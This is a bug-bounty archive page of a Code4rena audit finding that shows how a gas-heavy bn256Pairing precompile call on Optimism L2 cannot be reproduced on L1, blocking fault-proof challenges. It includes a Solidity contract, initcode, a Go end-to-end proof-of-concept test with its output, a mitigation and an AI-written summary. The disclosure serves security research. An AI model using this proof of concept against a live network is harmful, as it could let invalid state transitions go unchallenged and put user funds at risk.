Skip to content
DoS Audit finding Advanced

L2 precompile calls can be impossible to reproduce on L1

The OP fault proof system replaces certain L2 precompile calls with preimage oracle queries that must be reproducible on L1. Because the bn256Pairing precompile can consume nearly the entire L2 block gas limit, the corresponding L1 preimage load can require more gas than a block allows, making the step impossible to execute and preventing invalid state transitions from being countered.

Zubat Follow with RadiantLabs

Originally disclosed on Code4rena

Submitted by Zubat, also found by RadiantLabs

When certain precompiles are invoked in an L2 transaction, the OP fault proof program substitutes their logic with “type 6” preimage oracle queries. Reviewing the op-program code shows that the ecrecover (0x1), bn256Pairing (0x8), and kzgPointEvaluation (0xa) precompile addresses are currently part of this “precompile accelerators” system. For this system to function correctly, a precompile call on L2 must always be reproducible on L1 via the loadPrecompilePreimagePart() function in the PreimageOracle. This is currently not guaranteed in at least one scenario on OP mainnet.

Specifically, note that the bn256Pairing precompile has an unbounded gas cost of 34_000 * k + 45_000, where k is the input size divided by 192. This means that a user can call the bn256Pairing precompile on L2 with an input that uses nearly the entire L2 block gas limit. Currently, the block gas limit on both Ethereum mainnet and OP mainnet is 30_000_000. Since the block gas limits are the same, every precompile call on L2 is theoretically reproducible on L1 in isolation. However, since the loadPrecompilePreimagePart() function has its own overhead gas costs, it can be shown that some L2 precompile calls can be impossible to reproduce for the purposes of the PreimageOracle.

For example, consider a scenario where the following smart contract is successfully called on L2:

pragma solidity 0.8.18;

contract L2GasLimit {
    fallback() external {
        assembly {
            let success := staticcall(
                gas(),
                0x08,
                0x80,
                165504,
                0x0,
                0x0
            )
            if iszero(success) { revert(0, 0) }
        }
    }
}

Since the input is 165_504 bytes, the cost of calling the bn256Pairing precompile is 29_353_000 gas. However, since EIP-150 limits the amount of gas the PreimageOracle can forward to 63/64 of its available gas, the loadPrecompilePreimagePart() function would require 29_353_000 * 64 / 63 = 29_818_920 gas in order to reproduce this precompile call successfully. There are two options for a user to attempt to meet this threshold:

  1. The user calls loadPrecompilePreimagePart() from an EOA. Note that the input passed to the precompile needs to be provided as an argument:

    function loadPrecompilePreimagePart(uint256 _partOffset, address _precompile, bytes calldata _input) external {
        // ...
    }
    

    Since the user spends 4 gas for every zero byte of calldata, this means they will have spent at least 4 * 165_504 = 662_016 gas before the function even begins. This implies the function can begin with at most 30_000_000 - 662_016 = 29_337_984 gas, which is insufficient for the precompile call alone. Side note: there is no trick that can get around providing all 165_504 zero bytes in calldata, because Solidity does not allow calldata to point out-of-bounds.

  2. The user calls loadPrecompilePreimagePart() using another smart contract. Since EIP-150 would also limit this contract to forwarding at most 63/64 of its available gas, and since 30_000_000 * 63 / 64 = 29_531_250, this method also cannot possibly start loadPrecompilePreimagePart() with enough gas.

As a result, this L2 precompile transaction will lead to a preimage oracle query that is impossible to satisfy on L1. This would make the corresponding step() impossible to execute, which would prevent invalid state transitions from being countered.

Proof of Concept

The following test can be added to op-e2e/faultproofs/output_cannon_test.go:

func TestImpossiblePrecompileCallBug(t *testing.T) {
    /**********************************************************************
    1. General setup
    **********************************************************************/
    op_e2e.InitParallel(t, op_e2e.UsesCannon)

    ctx := context.Background()
    sys, _ := StartFaultDisputeSystem(t, WithBlobBatches())
    t.Cleanup(sys.Close)

    // NOTE: Flake prevention. Copied from other tests
    safeBlock, err := sys.Clients["sequencer"].BlockByNumber(ctx, big.NewInt(int64(rpc.SafeBlockNumber)))
    require.NoError(t, err)
    require.NoError(t, wait.ForSafeBlock(ctx, sys.RollupClient("sequencer"), safeBlock.NumberU64()+1))
    t.Logf("AUDIT: L2 block gas limit: %d", safeBlock.GasLimit())

    /**********************************************************************
    2. Create a contract that will call the 0x08 precompile efficiently
    **********************************************************************/
    deployReceipt := op_e2e.SendL2Tx(t, sys.Cfg, sys.Clients["sequencer"], sys.Cfg.Secrets.Alice, func(opts *op_e2e.TxOpts) {
        opts.Gas = 1_000_000
        opts.ToAddr = nil

        // Below is the initcode for the following contract:
        /**********************************************************************
        pragma solidity 0.8.18;

        contract L2GasLimit {
            fallback() external {
                assembly {
                    let success := staticcall(
                        gas(),
                        0x08,
                        0x80,
                        165504,
                        0x0,
                        0x0
                    )
                    if iszero(success) { revert(0, 0) }
                }
            }
        }
        **********************************************************************/
        initCodeHex := "6080604052348015600f57600080fd5b50605d80601d6000396000f3fe6080604052348015600f576"
        initCodeHex += "00080fd5b5060008062028680608060085afa602557600080fd5b00fea26469706673582212209e7bb"
        initCodeHex += "5e756d6686f69b47dc161cf0dc1ff83238b405d23bbc542328f68ed76c064736f6c63430008120033"
        initCode, err := hex.DecodeString(initCodeHex)
        require.NoError(t, err)
        opts.Data = initCode
    })

    t.Logf("AUDIT: Deploy tx gasUsed: %d", deployReceipt.GasUsed)
    t.Logf("AUDIT: Deploy tx block number: %d", deployReceipt.BlockNumber)
    t.Logf("AUDIT: Deploy tx contractAddress: %s", deployReceipt.ContractAddress.Hex())

    /**********************************************************************
    3. Call the contract, using nearly 30_000_000 gas
    **********************************************************************/
    precompileReceipt := op_e2e.SendL2Tx(t, sys.Cfg, sys.Clients["sequencer"], sys.Cfg.Secrets.Alice, func(opts *op_e2e.TxOpts) {
        // Note: the initial l1 attributes tx almost always uses less than 70k gas
        opts.Gas = 30_000_000 - 70_000
        opts.ToAddr = &deployReceipt.ContractAddress
        opts.Nonce = 1
        opts.Data = nil
    })

    // Not necessary, but this shows how much gas the initial l1 attributes tx used
    l1AttrTx, _ := sys.Clients["sequencer"].TransactionInBlock(ctx, precompileReceipt.BlockHash, 0)
    l1AttrTxReceipt, _ := sys.Clients["sequencer"].TransactionReceipt(ctx, l1AttrTx.Hash())
    t.Logf("AUDIT: Contract call initial tx gas used: %d", l1AttrTxReceipt.GasUsed)

    // Show that the precompile call succeeded
    t.Logf("AUDIT: Contract call block number: %d", precompileReceipt.BlockNumber)
    t.Logf("AUDIT: Contract call gas used: %d", precompileReceipt.GasUsed)
    t.Logf("AUDIT: Contract call status: %d", precompileReceipt.Status)
    t.Logf("AUDIT: Contract call cumulative gas used: %d", precompileReceipt.CumulativeGasUsed)

    /**********************************************************************
    4. Run a dispute game on the block of the precompile call. Notice that
    the challenger will fail because the gas required is too high for the
    PreimageOracle to ever succeed
    **********************************************************************/
    disputeGameFactory := disputegame.NewFactoryHelper(t, ctx, sys)
    game := disputeGameFactory.StartOutputCannonGame(ctx, "sequencer", precompileReceipt.BlockNumber.Uint64(), common.Hash{0x01, 0xaa})
    require.NotNil(t, game)
    outputRootClaim := game.DisputeBlock(ctx, precompileReceipt.BlockNumber.Uint64())
    game.LogGameData(ctx)

    game.StartChallenger(ctx, "Challenger", challenger.WithPrivKey(sys.Cfg.Secrets.Alice))

    outputRootClaim = outputRootClaim.WaitForCounterClaim(ctx)

    preimageLoadCheck := game.CreateStepPreimageLoadCheck(ctx)
    game.ChallengeToPreimageLoad(ctx, outputRootClaim, sys.Cfg.Secrets.Alice, utils.FirstPrecompilePreimageLoad(), preimageLoadCheck, true)
}

After running go test ./faultproofs -run TestImpossiblePrecompileCallBug -v -timeout=60m > test_output.txt, the output can be inspected as follows:

    > grep "AUDIT:" test_output.txt; grep -B 3 "Failed to load preimage part" test_output.txt;
        output_cannon_test.go:409: AUDIT: L2 block gas limit: 30000000
        output_cannon_test.go:446: AUDIT: Deploy tx gasUsed: 73521
        output_cannon_test.go:447: AUDIT: Deploy tx block number: 9
        output_cannon_test.go:448: AUDIT: Deploy tx contractAddress: 0xbdEd0D2bf404bdcBa897a74E6657f1f12e5C6fb6
        output_cannon_test.go:464: AUDIT: Contract call initial tx gas used: 52182
        output_cannon_test.go:467: AUDIT: Contract call block number: 10
        output_cannon_test.go:468: AUDIT: Contract call gas used: 29442018
        output_cannon_test.go:469: AUDIT: Contract call status: 1
        output_cannon_test.go:470: AUDIT: Contract call cumulative gas used: 29494200
                    Error:          Received unexpected error:
                                    oversized data: transaction size 165754, limit 131072
                    Test:           TestImpossiblePrecompileCallBug
                    Messages:       Failed to load preimage part

This shows that the L2 precompile call succeeded, and the challenger failed to load the preimage for the relevant execution step. In this case, the error is due to a transaction size limit, which is another limitation in addition to the gas issues described above.

Also note that before running the test, the following change is useful for op-challenger/game/fault/preimages/split.go to ensure it differentiates large precompile calls from large keccak256 preimages:

- if data.IsLocal || uint64(len(data.GetPreimageWithoutSize())) < s.largePreimageSizeThreshold {
+ if data.OracleKey[0] != byte(2) || uint64(len(data.GetPreimageWithoutSize())) < s.largePreimageSizeThreshold {
      return s.directUploader.UploadPreimage(ctx, parent, data)
  } else {
      return s.largeUploader.UploadPreimage(ctx, parent, data)
  }

Tools Used

The op-e2e test suite.

Recommended Mitigation Steps

If possible, the “accelerated precompiles” system should avoid precompiles that have dynamic gas costs. Although this would imply a larger execution trace for precompile calls that would otherwise be supported, this seems to be the safest option in the long term. This is especially true if the block gas limits on L2 are ever changed to exceed the L1 block gas limit.

ajsutton (Optimism) confirmed via duplicate Issue #28

Inphi (Optimism) commented:

This is valid but out of scope as it was highlighted in the Spearbit audit. See section 5.1.1 in the audit report.

obront (judge) commented:

While it is similar, I don’t believe this is a dup of the known issue.

That issue specifically points to the more serious concern issue that the loadPrecompilePart() function can be called with ANY amount of gas, causing it to revert when it succeeded on L2. Basically, there is no connection between L2 gas for the precompile and L1.

This issue is focused on that fact that, even if such a connection existed, there are precompile calls on L2 that can not be included on L1.

Inphi (Optimism) commented:

On second thought, I agree with your assessment for the above reason.


The original report as published on Code4rena, by Zubat. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the precompile accelerator system assumes every L2 precompile call can be reproduced on L1, but dynamic-gas precompiles like bn256Pairing can consume nearly the whole L2 block gas limit, and the L1 preimage load overhead (calldata cost, EIP-150 63/64 rule, transaction size limit) makes reproduction impossible.

Impact

A challenger cannot counter an invalid state transition because the required preimage load is impossible to execute on L1, potentially allowing an invalid output root to be accepted.

What the attacker needed

Ability to submit L2 transactions; L2 block gas limit equal to L1 block gas limit

The fix

The accelerated precompiles system should avoid precompiles with dynamic gas costs, even though this increases the execution trace size.

How it was found

  1. Deploy a contract on L2 that calls the bn256Pairing precompile with a large input.
  2. Call the contract with nearly the full L2 block gas limit so the precompile call succeeds.
  3. Start a dispute game on the block containing the precompile call.
  4. Have the challenger attempt to load the preimage for the relevant execution step.
  5. Observe that the preimage load fails due to gas or transaction size limits.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A precompile is a built-in operation on Ethereum that does heavy maths cheaply. Optimism's fault proof system sometimes needs to replay an L2 precompile call on L1 to check it, but if the L2 call used almost all the block's gas, the L1 replay needs even more gas than a block has, so the check can never finish. That means a bad state change could go unchallenged.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by Zubat

View all

1 more disclosed report, best first.

More from Optimism Superchain

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.